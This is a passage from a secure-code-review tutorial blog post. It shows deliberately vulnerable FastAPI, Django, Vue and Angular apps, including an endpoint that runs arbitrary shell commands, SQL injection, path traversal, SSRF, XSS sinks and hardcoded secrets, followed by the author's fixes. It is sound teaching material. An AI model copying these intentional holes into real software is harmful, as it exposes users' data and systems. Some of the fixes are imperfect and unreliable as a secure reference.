    return {"status": "notified"}

@app.post("/upload")
async def upload_file(file: UploadFile = File(...), x_api_token: str = Header(None)):
    dest = os.path.join(UPLOAD_DIR, file.filename)
    with open(dest, "wb") as f:
        content = await file.read()
        f.write(content)
    return {"path": dest}

@app.get("/admin/run")
async def run_command(cmd: str, x_api_token: str = Header(None)):
    result = subprocess.run(cmd, shell=True, capture_output=True, text=True)
    return {"output": result.stdout}

@app.post("/auth/login")
async def login(username: str, password: str, db: sqlite3.Connection = Depends(get_db)):
    cursor = db.cursor()
    cursor.execute(
        f"SELECT id, username, role, api_token FROM users WHERE username = '{username}' AND password_hash = '{password}'"
    )
    user = cursor.fetchone()
    if not user:
        return {"error": "invalid credentials"}
    return {"api_token": user[3], "role": user[2]}

pages/documents.vue

<template>
    <div>
        <input v-model="searchQuery" @input="search" placeholder="Search documents..." />
        <div v-html="searchResults"></div>
        <div v-for="doc in documents" :key="doc.id">
            <h3>{{ doc.title }}</h3>
            <div v-html="doc.content"></div>
            <button @click="downloadDoc(doc.id)">Download</button>
        </div>
        <div>
            <input v-model="webhookPayload" placeholder="Webhook payload..." />
            <button @click="triggerWebhook">Send Webhook</button>
        </div>
    </div>
</template>

<script setup>
import { ref } from 'vue'
const searchQuery = ref('')
const searchResults = ref('')
const documents = ref([])
const webhookPayload = ref('')
const apiToken = localStorage.getItem('api_token')

const search = async () => {
    const res = await fetch(`/api/documents/search?q=${searchQuery.value}`)
    const html = await res.text()
    searchResults.value = html
}

const downloadDoc = (id) => {
    window.location.href = `/api/documents/${id}/download?token=${apiToken}`
}

const triggerWebhook = async () => {
    await fetch('/api/workspaces/1/notify', {
        method: 'POST',
        headers: { 'Content-Type': 'application/json' },
        body: webhookPayload.value
    })
}
</script>

Exercise 7 — Django + Angular (MedPortal)

App: Medical records portal for clinic staff, doctors, and administrators

medportal/settings.py

SECRET_KEY = 'medportal-django-insecure-key-xyz987'
DEBUG = True
ALLOWED_HOSTS = ['*']

INSTALLED_APPS = [
    'django.contrib.admin',
    'django.contrib.auth',
    'django.contrib.contenttypes',
    'django.contrib.sessions',
    'django.contrib.messages',
    'django.contrib.staticfiles',
    'portal',
]

MIDDLEWARE = [
    'django.middleware.security.SecurityMiddleware',
    'django.contrib.sessions.middleware.SessionMiddleware',
    'django.middleware.common.CommonMiddleware',
    'django.contrib.auth.middleware.AuthenticationMiddleware',
    'django.contrib.messages.middleware.MessageMiddleware',
]

DATABASES = {
    'default': {
        'ENGINE': 'django.db.backends.sqlite3',
        'NAME': 'medportal.db',
    }
}

portal/views.py

from django.http import JsonResponse, FileResponse, HttpResponse
from django.contrib.auth import authenticate
from django.db import connection
import subprocess
import os
import requests
from .models import Patient, LabResult, AuditLog

def login(request):
    if request.method == 'POST':
        import json
        data = json.loads(request.body)
        username = data.get('username', '')
        password = data.get('password', '')
        user = authenticate(username=username, password=password)
        if user:
            return JsonResponse({'token': user.auth_token.key, 'role': user.profile.role})
        return JsonResponse({'error': 'invalid credentials'}, status=401)

def search_patients(request):
    q = request.GET.get('q', '')
    with connection.cursor() as cursor:
        cursor.execute(
            f"SELECT id, full_name, diagnosis FROM portal_patient WHERE full_name LIKE '%{q}%'"
        )
        rows = cursor.fetchall()
    return JsonResponse({'patients': rows})

def get_patient(request, patient_id):
    with connection.cursor() as cursor:
        cursor.execute(
            f"SELECT id, full_name, date_of_birth, diagnosis FROM portal_patient WHERE id = {patient_id}"
        )
        row = cursor.fetchone()
        if not row:
            return JsonResponse({'error': 'not found'}, status=404)
    return JsonResponse({'id': row[0], 'name': row[1], 'dob': str(row[2]), 'diagnosis': row[3]})

def download_lab_result(request):
    filename = request.GET.get('file', '')
    filepath = os.path.join('/var/lab_results', filename)
    return FileResponse(open(filepath, 'rb'))

def run_export(request):
    report_type = request.GET.get('type', 'daily')
    result = subprocess.run(
        f'python manage.py export_report --type={report_type}',
        shell=True,
        capture_output=True,
        text=True
    )
    return JsonResponse({'output': result.stdout})

def fetch_external_guidelines(request):
    url = request.GET.get('url', '')
    response = requests.get(url, timeout=5)
    return JsonResponse({'content': response.text})

def upload_lab_result(request):
    if request.method == 'POST':
        f = request.FILES.get('file')
        patient_id = request.POST.get('patient_id')
        if f:
            dest = os.path.join('/var/lab_results', f.name)
            with open(dest, 'wb+') as dest_file:
                for chunk in f.chunks():
                    dest_file.write(chunk)
            LabResult.objects.create(patient_id=patient_id, filename=f.name, uploaded_by=request.user)
            return JsonResponse({'status': 'uploaded'})
    return JsonResponse({'error': 'invalid request'}, status=400)

src/app/patient-search.component.ts

import { Component } from '@angular/core';
import { HttpClient } from '@angular/common/http';
import { DomSanitizer, SafeHtml } from '@angular/platform-browser';

@Component({
    selector: 'app-patient-search',
    template: `
        <div>
            <input [(ngModel)]="query" (input)="search()" placeholder="Search patients..." />
            <div [innerHTML]="searchResults"></div>
            <div *ngFor="let p of patients">
                <h3>{{ p.name }}</h3>
                <p [innerHTML]="p.diagnosis"></p>
                <button (click)="downloadLab(p.id)">Download Lab Result</button>
            </div>
            <div>
                <input [(ngModel)]="guidelinesUrl" placeholder="Guidelines URL..." />
                <button (click)="fetchGuidelines()">Fetch</button>
                <div [innerHTML]="guidelinesContent"></div>
            </div>
            <div>
                <input [(ngModel)]="exportType" placeholder="Export type..." />
                <button (click)="runExport()">Run Export</button>
                <pre>{{ exportOutput }}</pre>
            </div>
        </div>
    `
})
export class PatientSearchComponent {
    query = '';
    searchResults: SafeHtml = '';
    patients: any[] = [];
    guidelinesUrl = '';
    guidelinesContent: SafeHtml = '';
    exportType = '';
    exportOutput = '';

    constructor(private http: HttpClient, private sanitizer: DomSanitizer) {}

    search() {
        this.http.get(`/api/patients/search/?q=${this.query}`, { responseType: 'text' })
            .subscribe(html => {
                this.searchResults = this.sanitizer.bypassSecurityTrustHtml(html);
            });
    }

    fetchGuidelines() {
        this.http.get(`/api/guidelines/fetch/?url=${this.guidelinesUrl}`)
            .subscribe((res: any) => {
                this.guidelinesContent = this.sanitizer.bypassSecurityTrustHtml(res.content);
            });
    }

    downloadLab(patientId: number) {
        const token = localStorage.getItem('auth_token');
        window.location.href = `/api/lab-results/download/?file=${patientId}_result.pdf&token=${token}`;
    }

    runExport() {
        this.http.get(`/api/reports/export/?type=${this.exportType}`)
            .subscribe((res: any) => {
                this.exportOutput = res.output;
            });
    }
}

My Solutions

⚠️ Stop scrolling if you haven't attempted the exercises. Solutions below.

Solution — Exercise 1

Bugs found: SQL Injection, DOM XSS, IDOR (missing auth)

main.py — Fixed

from fastapi import FastAPI, Request, Form, HTTPException
from fastapi.templating import Jinja2Templates
from sqlalchemy import text
from pydantic import BaseModel

class LoginRequest(BaseModel):
    username: str
    password: str

app = FastAPI()
templates = Jinja2Templates(directory="templates")

@app.post("/user")
async def get_user(request: Request, body: LoginRequest):
    user = body.username
    passwd = body.password
    if not authenticate_user(user, passwd):
        raise Exception("Invalid Credentials")
    query = "SELECT * FROM users WHERE username = :user"
    result = db.session.execute(text(query), {"user": user}).fetchall()
    return templates.TemplateResponse("results.html", {"request": request, "results": result})

UserSearch.jsx — Fixed

import { useState } from 'react';

export default function UserSearch() {
    const [username, setUsername] = useState('');
    const [password, setPassword] = useState('');

    const searchUser = async () => {
        const user_regex = /^[a-zA-Z0-9-_.]+$/;
        if (!user_regex.test(username)) throw new Error("Invalid credentials");

        const response = await fetch('/api/users', {
            method: 'POST',
            headers: { 'Content-Type': 'application/json' },
            body: JSON.stringify({ username, password })
        });

        if (!response.ok) throw new Error(`HTTP error! status: ${response.status}`);

        const resp = await response.text();
        document.getElementById('results').textContent = resp;
    };

    return (
        <div>
            <input type="text" value={username} onChange={(e) => setUsername(e.target.value)} placeholder="Enter username" />
            <input type="password" value={password} onChange={(e) => setPassword(e.target.value)} placeholder="Enter password" />
            <button onClick={searchUser}>Search</button>
            <div id="results"></div>
        </div>
    );
}

Solution — Exercise 2

Bugs found: Hardcoded secret, Path Traversal, SQLi (×2), Missing Auth, DOM XSS, No Rate Limiting, debug=True

app.py — Fixed

from flask_wtf.csrf import CSRFProtect
from flask import Flask, request, render_template, redirect, url_for, session, flash, jsonify
from flask_limiter import Limiter
from flask_limiter.util import get_remote_address
import sqlite3
import os
from dotenv import load_dotenv

load_dotenv()

app = Flask(__name__)
csrf = CSRFProtect(app)
limiter = Limiter(get_remote_address, app=app, default_limits=["5 per minute"], storage_uri="memory://")
app.secret_key = os.getenv('SECRET_KEY')
app.config['UPLOAD_FOLDER'] = 'uploads'

@app.route('/upload', methods=['POST'])
@limiter.limit("5 per minute")
def upload_file():
    if 'file' not in request.files:
        return "No file uploaded", 400
    file = request.files['file']
    if file.filename == '':
        return "No file selected", 400
    cookie_value = request.cookies.get('session')
    session_data = verify_session_cookie(cookie_value)
    if not session_data:
        return jsonify({"error": "Unauthorized"}), 401
    base_dir = os.path.abspath('uploads')
    pwd_file = os.path.abspath(os.path.join(base_dir, file.filename))
    if not pwd_file.startswith(base_dir + os.sep):
        raise Exception("Invalid filepath")
    file.save(pwd_file)
    return "File uploaded successfully!"

@app.route('/search')
@limiter.limit("5 per minute")
def search_posts():
    query = request.args.get('q')
    conn = sqlite3.connect('database.db')
    cursor = conn.cursor()
    cursor.execute("SELECT * FROM posts WHERE title LIKE ?", ('%' + query + '%',))
    results = cursor.fetchall()
    conn.close()
    return render_template('results.html', results=results)

@app.route('/profile', methods=['POST'])
@limiter.limit("5 per minute")
def update_profile():
    username = session.get('username')
    password = request.form['password']
    cookie_value = request.cookies.get('session')
    session_data = verify_session_cookie(cookie_value)
    new_email = request.form['email']
    conn = sqlite3.connect('database.db')
    cursor = conn.cursor()
    if not authenticate_user(username, password):
        raise Exception("Invalid Credentials")
    cursor.execute("UPDATE users SET email = ? WHERE username = ?", (new_email, username))
    conn.commit()
    conn.close()
    flash('Profile updated!')
    return redirect(url_for('profile'))

if __name__ == '__main__':
    app.run(debug=False)

Search.jsx — Fixed

import { useState } from 'react';

export default function Search() {
    const [query, setQuery] = useState('');

    const handleSearch = async () => {
        if (!query) return;
        const response = await fetch(`/search?q=${query}`);
        const resp = await response.text();
        document.getElementById('results').textContent = resp;
    };

    return (
        <div>
            <input type="text" value={query} onChange={(e) => setQuery(e.target.value)} placeholder="Search posts..." />
            <button onClick={handleSearch}>Search</button>
            <div id="results"></div>
        </div>
    );
}

Solution — Exercise 3

Bugs found: Hardcoded secrets (×2), SSRF, SQLi + plaintext password in login, JWT no failure handling, JWT 365-day expiry, OS Command Injection, Path Traversal, No Rate Limiting, DOM XSS

app.py — Fixed

from fastapi import FastAPI, Request, Form, HTTPException, status, Depends
from fastapi.responses import JSONResponse
from fastapi.security import OAuth2PasswordBearer
from fastapi import File, UploadFile
from slowapi import Limiter, _rate_limit_exceeded_handler
from slowapi.util import get_remote_address
from slowapi.errors import RateLimitExceeded
from passlib.hash import argon2
from jose import jwt
import sqlite3
import os
import subprocess
import shlex
from dotenv import load_dotenv
from datetime import datetime, timedelta

load_dotenv()
SECRET_KEY = os.getenv('SECRET_KEY')

limiter = Limiter(key_func=get_remote_address)
app = FastAPI()
app.state.limiter = limiter
app.add_exception_handler(RateLimitExceeded, _rate_limit_exceeded_handler)

oauth2_scheme = OAuth2PasswordBearer(tokenUrl="token")

def create_access_token(data: dict):
    to_encode = data.copy()
    expire = datetime.utcnow() + timedelta(minutes=30)
    to_encode.update({"exp": expire})
    token = ''
    try:
        token = jwt.encode(to_encode, SECRET_KEY, algorithm="HS256")
    except Exception:
        raise HTTPException(status_code=401, detail="Invalid credentials")
    return token

@app.post("/login")
@limiter.limit("5/minute")
async def login(request: Request, username: str = Form(...), password: str = Form(...)):
    conn = sqlite3.connect("database.db")
    cursor = conn.cursor()
    cursor.execute("SELECT password FROM users WHERE username = ?", (username,))
    pwhash = cursor.fetchone()
    if not pwhash or not argon2.verify(password, pwhash[0]):
        conn.close()
        raise HTTPException(status_code=401, detail="Invalid credentials")
    conn.close()
    token = create_access_token({"sub": username})
    return {"access_token": token}

@app.get("/admin")
@limiter.limit("5/minute")
async def admin_panel(request: Request, token: str = Depends(oauth2_scheme)):
    try:
        payload = jwt.decode(token, SECRET_KEY, algorithms=["HS256"])
    except Exception:
        raise HTTPException(status_code=403, detail="Unauthorized")
    username = payload.get("sub")
    conn = sqlite3.connect("database.db")
    cursor = conn.cursor()
    cursor.execute("SELECT * FROM users WHERE username = ?", (username,))
    user = cursor.fetchone()
    conn.close()
    if not user or user[3] != "admin":
        raise HTTPException(status_code=403, detail="Unauthorized")
    return {"message": "Admin Panel"}

@app.get("/ping")
@limiter.limit("5/minute")
async def ping_server(request: Request, host: str):
    raw_arg_list = "ping -c 4 " + shlex.quote(host)
    cmd_list = shlex.split(raw_arg_list)
    result = subprocess.run(cmd_list, capture_output=True, text=True, shell=False)
    return {"output": result.stdout}

@app.post("/upload")
@limiter.limit("5/minute")
async def upload_file(request: Request, file: UploadFile = File(...)):
    base_dir = os.path.abspath('uploads')
    pwd_file = os.path.abspath(os.path.join(base_dir, file.filename))
    if not pwd_file.startswith(base_dir + os.sep):
        raise HTTPException(status_code=403, detail="Unauthorized")
    with open(pwd_file, "wb") as f:
        content = await file.read()
        f.write(content)
    return {"message": "File uploaded!"}

Solution — Exercise 4

Bugs found: Hardcoded secret, DEBUG=True, ALLOWED_HOSTS=['*'], SSRF (Capital One pattern), Path Traversal, SQLi, OS Command Injection, IDOR (get_report + admin_users), XSS via x-html, No Rate Limiting, No TLS

devdash/settings.py — Fixed

import os
from dotenv import load_dotenv

load_dotenv()

SECRET_KEY = os.getenv('SECRET_KEY')
COOKIE_KEY = os.getenv('COOKIE_KEY')
DEBUG = False
ALLOWED_HOSTS = ['first_allow.com', 'second_allow.com']

INSTALLED_APPS = [
    'django.contrib.admin',
    'django.contrib.auth',
    'django.contrib.contenttypes',
    'django.contrib.sessions',
    'django.contrib.messages',
    'django.contrib.staticfiles',
    'dashboard',
]

MIDDLEWARE = [
    'django.middleware.security.SecurityMiddleware',
    'django.contrib.sessions.middleware.SessionMiddleware',
    'django.middleware.common.CommonMiddleware',
    'django.contrib.auth.middleware.AuthenticationMiddleware',
    'django.contrib.messages.middleware.MessageMiddleware',
]

SECURE_SSL_REDIRECT = True
SECURE_HSTS_SECONDS = 31536000
SECURE_HSTS_INCLUDE_SUBDOMAINS = True
SECURE_HSTS_PRELOAD = True

dashboard/views.py — Fixed (key excerpts)

from django.shortcuts import render, get_object_or_404
from django.http import JsonResponse
from django.contrib.auth.models import User
from django.db import connection
from django_ratelimit.decorators import ratelimit
from django.views.decorators.csrf import csrf_protect
from urllib.parse import urlparse
from dotenv import load_dotenv
import jwt, requests, os, shlex, subprocess
from .models import Report, UserProfile

load_dotenv()
COOKIE_KEY = os.getenv('COOKIE_KEY')

def is_valid_url(url: str, allow_list: list[str]) -> bool:
    parsed = urlparse(url)
    hostname = parsed.netloc.split(':')[0]
    return hostname in allow_list

@csrf_protect
@ratelimit(key='ip', rate='5/m')
def set_avatar(request):
    if request.method == 'POST':
        token = request.COOKIES.get('report_token')
        if not token:
            return JsonResponse({'error': 'not authenticated'}, status=401)
        try:
            payload = jwt.decode(token, COOKIE_KEY, algorithms=['HS256'],
                issuer="issuer_here", audience="audience_here")
        except Exception:
            return JsonResponse({'error': 'not authenticated'}, status=401)
        avatar_url = request.POST.get('avatar_url', '')
        user_id = request.POST.get('user_id')
        if str(payload['user_id']) != str(user_id):
            return JsonResponse({'error': 'not authorized'}, status=403)
        allowlist_urls = ['first_allow.com', 'second_allow.com']
        if not is_valid_url(avatar_url, allowlist_urls):
            return JsonResponse({'error': 'avatar NOT updated'}, status=405)
        response = requests.get(avatar_url, allow_redirects=False, timeout=5)
        base_dir = os.path.abspath('media/avatars')
        pwd_file = os.path.abspath(os.path.join(base_dir, f'{user_id}_avatar.png'))
        if not pwd_file.startswith(base_dir + os.sep):
            return JsonResponse({'error': 'avatar NOT updated'}, status=405)
        with open(pwd_file, 'wb') as f:
            f.write(response.content)
        profile = UserProfile.objects.get(user_id=user_id)
        profile.avatar_url = pwd_file
        profile.save()
        return JsonResponse({'status': 'avatar updated'})
    return JsonResponse({'error': 'invalid method'}, status=405)

@ratelimit(key='ip', rate='5/m')
def search_reports(request):
    q = request.GET.get('q', '')
    with connection.cursor() as cursor:
        cursor.execute(
            "SELECT id, title, content FROM dashboard_report WHERE title LIKE %s",
            ('%' + q + '%',)
        )
        rows = cursor.fetchall()
    return JsonResponse({'results': rows})

@csrf_protect
@ratelimit(key='ip', rate='5/m')
def get_report(request, report_id):
    token = request.COOKIES.get('report_token')
    if not token:
        return JsonResponse({'error': 'not authenticated'}, status=401)
    try:
        payload = jwt.decode(token, COOKIE_KEY, algorithms=['HS256'],
            issuer="issuer_here", audience="audience_here")
    except Exception:
        return JsonResponse({'error': 'not authenticated'}, status=401)
    report = get_object_or_404(Report, id=report_id)
    if payload['username'] != report.owner.username:
        return JsonResponse({'error': 'not authorized'}, status=403)
    return JsonResponse({'id': report.id, 'title': report.title,
        'content': report.content, 'owner': report.owner.username})

@ratelimit(key='ip', rate='5/m')
def run_diagnostic(request):
    if request.method == 'POST':
        target = request.POST.get('target', '')
        target_sanitize = shlex.quote(target)
        cmd = 'dig +short ' + target_sanitize
        cmd_list = shlex.split(cmd)
        result = subprocess.run(cmd_list, shell=False, capture_output=True, text=True)
        return JsonResponse({'output': result.stdout})
    return JsonResponse({'error': 'invalid method'}, status=405)

@csrf_protect
@ratelimit(key='ip', rate='5/m')
def admin_users(request):
    token = request.COOKIES.get('report_token')
    if not token:
        return JsonResponse({'error': 'not authenticated'}, status=401)
    try:
        payload = jwt.decode(token, COOKIE_KEY, algorithms=['HS256'],
            issuer="issuer_here", audience="audience_here")
    except Exception:
        return JsonResponse({'error': 'not authenticated'}, status=401)
    if payload['role'] != 'admin':
        return JsonResponse({'error': 'not authorized'}, status=403)
    users = User.objects.values('id', 'username', 'email', 'is_staff')
    return JsonResponse({'users': list(users)})

templates/dashboard.html — Fixed (XSS sink)

<!-- x-html replaced with x-text throughout -->
<div x-text="searchResults"></div>

Solution — Exercise 5

Bugs found: Hardcoded secret, DEBUG=True, ALLOWED_HOSTS=['*'], SQLi (×2), Path Traversal, OS Command Injection + SSRF in health_check, IDOR (get_invoice + create_api_key), DOM XSS, No Rate Limiting, No TLS

invoicehub/settings.py — Fixed

import os
from dotenv import load_dotenv

load_dotenv()

SECRET_KEY = os.getenv('SECRET_KEY')
DEBUG = False
ALLOWED_HOSTS = ['first_domain.com', 'second_domain.com']

SECURE_SSL_REDIRECT = True
SECURE_HSTS_SECONDS = 31536000
SECURE_HSTS_INCLUDE_SUBDOMAINS = True
SECURE_HSTS_PRELOAD = True

billing/views.py — Fixed (key excerpts)

from django.http import JsonResponse, FileResponse
from django.contrib.auth.models import User
from django.db import connection
from django_ratelimit.decorators import ratelimit
from django.views.decorators.csrf import csrf_protect
from urllib.parse import urlparse
from dotenv import load_dotenv
import shlex, subprocess, jwt, os, requests, secrets

load_dotenv()
COOKIE_KEY = os.getenv('COOKIE_KEY')

def is_valid_url(url: str, allow_list: list[str]) -> bool:
    parsed = urlparse(url)
    hostname = parsed.netloc.split(':')[0]
    return hostname in allow_list

@csrf_protect
@ratelimit(key='ip', rate='5/m')
def get_invoice(request, invoice_id):
    token = request.COOKIES.get('report_token')
    if not token:
        return JsonResponse({'error': 'not authenticated'}, status=401)
    try:
        payload = jwt.decode(token, COOKIE_KEY, algorithms=['HS256'],
            issuer="issuer_here", audience="audience_here")
    except Exception:
        return JsonResponse({'error': 'not authenticated'}, status=401)
    api_key = request.headers.get('X-API-Key', '')
    key_obj = APIKey.objects.filter(key=api_key).first()
    owner_id = key_obj.owner_id if key_obj else None
    if not owner_id or payload['owner_id'] != owner_id:
        return JsonResponse({'error': 'not authorized'}, status=403)
    with connection.cursor() as cursor:
        cursor.execute(
            "SELECT id, title, amount, pdf_filename, owner_id FROM billing_invoice WHERE id = %s",
            (invoice_id,)
        )
        row = cursor.fetchone()
    if not row or row[4] != owner_id:
        return JsonResponse({'error': 'not found'}, status=404)
    return JsonResponse({'id': row[0], 'title': row[1], 'amount': str(row[2]), 'pdf_filename': row[3]})

@csrf_protect
@ratelimit(key='ip', rate='5/m')
def health_check(request):
    token = request.COOKIES.get('report_token')
    if not token:
        return JsonResponse({'error': 'not authenticated'}, status=401)
    try:
        payload = jwt.decode(token, COOKIE_KEY, algorithms=['HS256'],
            issuer="issuer_here", audience="audience_here")
    except Exception:
        return JsonResponse({'error': 'not authenticated'}, status=401)
    if payload['role'] != 'admin':
        return JsonResponse({'error': 'not authorized'}, status=403)
    host = request.GET.get('host', 'localhost')
    allowlist = ['first.com', 'second.com']
    if not is_valid_url(host, allowlist):
        return JsonResponse({'error': 'not authorized'}, status=403)
    host_sanitize = shlex.quote(host)
    argument = 'curl -s --max-time 3 ' + host_sanitize
    cmd_list = shlex.split(argument)
    result = subprocess.run(cmd_list, shell=False, capture_output=True, text=True)
    return JsonResponse({'status': result.stdout})

components/InvoiceDashboard.tsx — Fixed

{/* DOM XSS fixed — dangerouslySetInnerHTML removed */}
<div>{searchHtml}</div>

const downloadInvoice = (filename: string) => {
    window.location.href = `/api/invoices/download/?file=${encodeURIComponent(filename)}`;
};

Solution — Exercise 6

Bugs found: Hardcoded secret, SQLi (×4), IDOR (×2), Path Traversal, OS Command Injection, SSRF (webhook), Missing Auth on all endpoints, XSS via v-html, No Rate Limiting

app/main.py — Fixed imports

from fastapi import FastAPI, Request, Header, UploadFile, File, Depends
from fastapi.responses import FileResponse, JSONResponse
from fastapi.security import HTTPBearer
from slowapi import Limiter, _rate_limit_exceeded_handler
from slowapi.util import get_remote_address
from slowapi.errors import RateLimitExceeded
from starlette_csrf import CSRFMiddleware
from urllib.parse import urlparse
from dotenv import load_dotenv
from passlib.hash import argon2
import subprocess, httpx, shlex, jwt, os, sqlite3, secrets

Key fixed views (excerpts)

@app.post("/workspaces/{workspace_id}/notify")
@limiter.limit("5/minute")
async def notify_workspace(request: Request, workspace_id: int, payload: dict,
        db: sqlite3.Connection = Depends(get_db)):
    token = request.cookies.get('session')
    if not token:
        return JSONResponse({'error': 'not authenticated'}, status_code=401)
    try:
        jwt_payload = jwt.decode(token, SECRET_KEY, algorithms=['HS256'])
    except Exception:
        return JSONResponse({'error': 'invalid token'}, status_code=401)
    cursor = db.cursor()
    cursor.execute("SELECT webhook_url, owner_id FROM workspaces WHERE id = :workspace_id",
        {"workspace_id": workspace_id})
    row = cursor.fetchone()
    if not row or jwt_payload['owner_id'] != int(row[1]):
        return JSONResponse({'error': 'not authorized'}, status_code=403)
    webhook_url = row[0]
    allowlist_domains = ['first.com', 'second.com']
    if not is_valid_url(webhook_url, allowlist_domains):
        return JSONResponse({'error': 'not authorized'}, status_code=403)
    async with httpx.AsyncClient() as client:
        await client.post(webhook_url, json=payload)
    return {"status": "notified"}

pages/documents.vue — Fixed

<!-- v-html replaced with v-text throughout -->
<div v-text="searchResults"></div>
<div v-text="doc.content"></div>

Solution — Exercise 7

Bugs found: Hardcoded secret, DEBUG=True, ALLOWED_HOSTS=['*'], Missing CSRF + Clickjacking middleware, No TLS, SQLi (×2), IDOR (×2), Path Traversal (×2), OS Command Injection, SSRF, Missing Auth on all endpoints, XSS via [innerHTML] + bypassSecurityTrustHtml, No Rate Limiting, Missing AuditLog calls

portal/models.py — Fixed (Profile + authorization matrix)

from django.db import models
from django.contrib.auth.models import User
from django.db.models.signals import post_save
from django.dispatch import receiver

class Profile(models.Model):
    """
    Role-based access control for MedPortal.

    Authorization matrix:
    ┌─────────────┬──────────────────────────────────────────────────────────┐
    │ Role        │ Permissions                                              │
    ├─────────────┼──────────────────────────────────────────────────────────┤
    │ staff       │ - Upload lab results                                     │
    │             │ - Search patients by name                                │
    │             │ - View patient basic info (name, DOB)                    │
    │             │ - Cannot view diagnosis                                  │
    │             │ - Cannot download lab results                            │
    │             │ - Cannot run exports                                     │
    │             │ - Cannot fetch external guidelines                       │
    ├─────────────┼──────────────────────────────────────────────────────────┤
    │ doctor      │ - All staff permissions                                  │
    │             │ - View full patient record including diagnosis            │
    │             │ - Download lab results for assigned patients only        │
    │             │ - Fetch external clinical guidelines                     │
    │             │ - Cannot run report exports                              │
    │             │ - Cannot access other doctors' patients                  │
    ├─────────────┼──────────────────────────────────────────────────────────┤
    │ admin       │ - Full access to all endpoints                           │
    │             │ - Run report exports                                     │
    │             │ - View all patients regardless of assigned doctor        │
    │             │ - View all lab results                                   │
    │             │ - Cannot be assigned as a doctor to a patient            │
    └─────────────┴──────────────────────────────────────────────────────────┘
    """

    class Role(models.TextChoices):
        STAFF = 'staff', 'Staff'
        DOCTOR = 'doctor', 'Doctor'
        ADMIN = 'admin', 'Admin'

    user = models.OneToOneField(User, on_delete=models.CASCADE)
    role = models.CharField(max_length=50, choices=Role.choices, default=Role.STAFF)

@receiver(post_save, sender=User)
def create_profile(sender, instance, created, **kwargs):
    if created:
        Profile.objects.create(user=instance)

medportal/settings.py — Fixed

import os
from dotenv import load_dotenv

load_dotenv()

SECRET_KEY = os.getenv('SECRET_KEY')
DEBUG = False
ALLOWED_HOSTS = ['medportal.com', 'secondportal.com']

MIDDLEWARE = [
    'django.middleware.security.SecurityMiddleware',
    'django.contrib.sessions.middleware.SessionMiddleware',
    'django.middleware.common.CommonMiddleware',
    'django.middleware.clickjacking.XFrameOptionsMiddleware',
    'django.middleware.csrf.CsrfViewMiddleware',
    'django.contrib.auth.middleware.AuthenticationMiddleware',
    'django.contrib.messages.middleware.MessageMiddleware',
]

SECURE_SSL_REDIRECT = True
SECURE_HSTS_SECONDS = 31536000
SECURE_HSTS_INCLUDE_SUBDOMAINS = True
SECURE_HSTS_PRELOAD = True

portal/views.py — Fixed (key excerpts)

@csrf_protect
@ratelimit(key='ip', rate='5/m')
def get_patient(request, patient_id):
    cookie_value = request.COOKIES.get('session')
    session_data = verify_session_cookie(cookie_value)
    if not session_data:
        return JsonResponse({'error': 'Invalid Credentials'}, status=401)
    if session_data['role'].lower() not in ['doctor', 'admin']:
        return JsonResponse({'error': 'Not Authorized'}, status=403)
    with connection.cursor() as cursor:
        cursor.execute(
            "SELECT id, full_name, date_of_birth, diagnosis, assigned_doctor_id FROM portal_patient WHERE id = %s",
            (patient_id,)
        )
        row = cursor.fetchone()
        if not row:
            return JsonResponse({'error': 'not found'}, status=404)
        assigned_doctor = row[4]
        if session_data['role'].lower() == 'doctor' and assigned_doctor != session_data['id']:
            return JsonResponse({'error': 'Not Authorized'}, status=403)
    return JsonResponse({'id': row[0], 'name': row[1], 'dob': str(row[2]), 'diagnosis': row[3]})

@csrf_protect
@ratelimit(key='ip', rate='5/m')
def download_lab_result(request):
    cookie_value = request.COOKIES.get('session')
    session_data = verify_session_cookie(cookie_value)
    if not session_data:
        return JsonResponse({'error': 'Invalid Credentials'}, status=401)
    if session_data['role'].lower() not in ['doctor', 'admin']:
        return JsonResponse({'error': 'Not Authorized'}, status=403)
    with connection.cursor() as cursor:
        filename = request.GET.get('file', '')
        base_dir = os.path.abspath('/var/lab_results')
        pwd_file = os.path.abspath(os.path.join(base_dir, filename))
        if not pwd_file.startswith(base_dir + os.sep):
            return JsonResponse({'error': 'Invalid filepath.'}, status=404)
        cursor.execute(
            "SELECT patient_id, filename FROM portal_labresult WHERE filename = %s",
            (filename,)
        )
        row = cursor.fetchone()
        if not row:
            return JsonResponse({'error': 'not found'}, status=404)
        patient_id = row[0]
        cursor.execute(
            "SELECT assigned_doctor_id FROM portal_patient WHERE id = %s",
            (patient_id,)
        )
        doctor_row = cursor.fetchone()
        if not doctor_row:
            return JsonResponse({'error': 'not found'}, status=404)
        assigned_doctor = doctor_row[0]
        if session_data['role'].lower() == 'doctor' and assigned_doctor != session_data['id']:
            return JsonResponse({'error': 'Not Authorized'}, status=403)
    return FileResponse(open(pwd_file, 'rb'))

src/app/patient-search.component.ts — Fixed

// [innerHTML] replaced with {{ }} interpolation throughout
// bypassSecurityTrustHtml removed entirely
// SafeHtml type replaced with plain string

export class PatientSearchComponent {
    query = '';
    searchResults = '';
    patients: any[] = [];
    guidelinesContent = '';
    exportOutput = '';

    search() {
        this.http.get(`/api/patients/search/?q=${this.query}`, { responseType: 'text' })
            .subscribe(resp => {
                this.searchResults = resp;
            });
    }
}

What You Learned

After seven exercises across FastAPI, Flask, and Django backends paired with React, Vue.js, Alpine.js, Next.js, Nuxt.js, and Angular frontends — here is the pattern that runs through every single vulnerability:

Every bug is a trust boundary violation. SQL injection trusts user input in a query. IDOR trusts a client-supplied ID without verifying ownership. SSRF trusts a URL without validating the destination. Path traversal trusts a filename without verifying the path stays inside its directory. The fix is always the same question: at which layer does the server establish trust, and is that layer actually enforced?

The XSS sink table is worth memorizing:

Framework	Unsafe	Safe
React	`dangerouslySetInnerHTML`	`{variable}`
Vue.js	`v-html`	`v-text` / `{{ }}`
Alpine.js	`x-html`	`x-text`
Next.js	`dangerouslySetInnerHTML`	`{variable}`
Nuxt.js	`v-html`	`v-text` / `{{ }}`
Angular	`[innerHTML]` / `bypassSecurityTrustHtml()`	`{{ }}`

Every frontend framework has exactly one escape hatch that bypasses auto-escaping. That escape hatch is always the XSS sink.

Take the Challenge

All exercises are available in the open source repository:

⭐ github.com/fosres/SecEng-Exercises

Found a bug I missed? Disagree with a fix? Drop it in the comments. The best security engineers argue about this stuff.

What vulnerability class trips you up most often? → Vote here

Written by Tanveer Salim — Security Engineer in training, Intel IPAS alumni, 553+ threat models documented. Follow on Dev.to: @fosres

Week 10: Security Engineering Phone Screen: 10 Questions You Must Answer Fluently

fosres — Wed, 25 Mar 2026 19:37:13 +0000

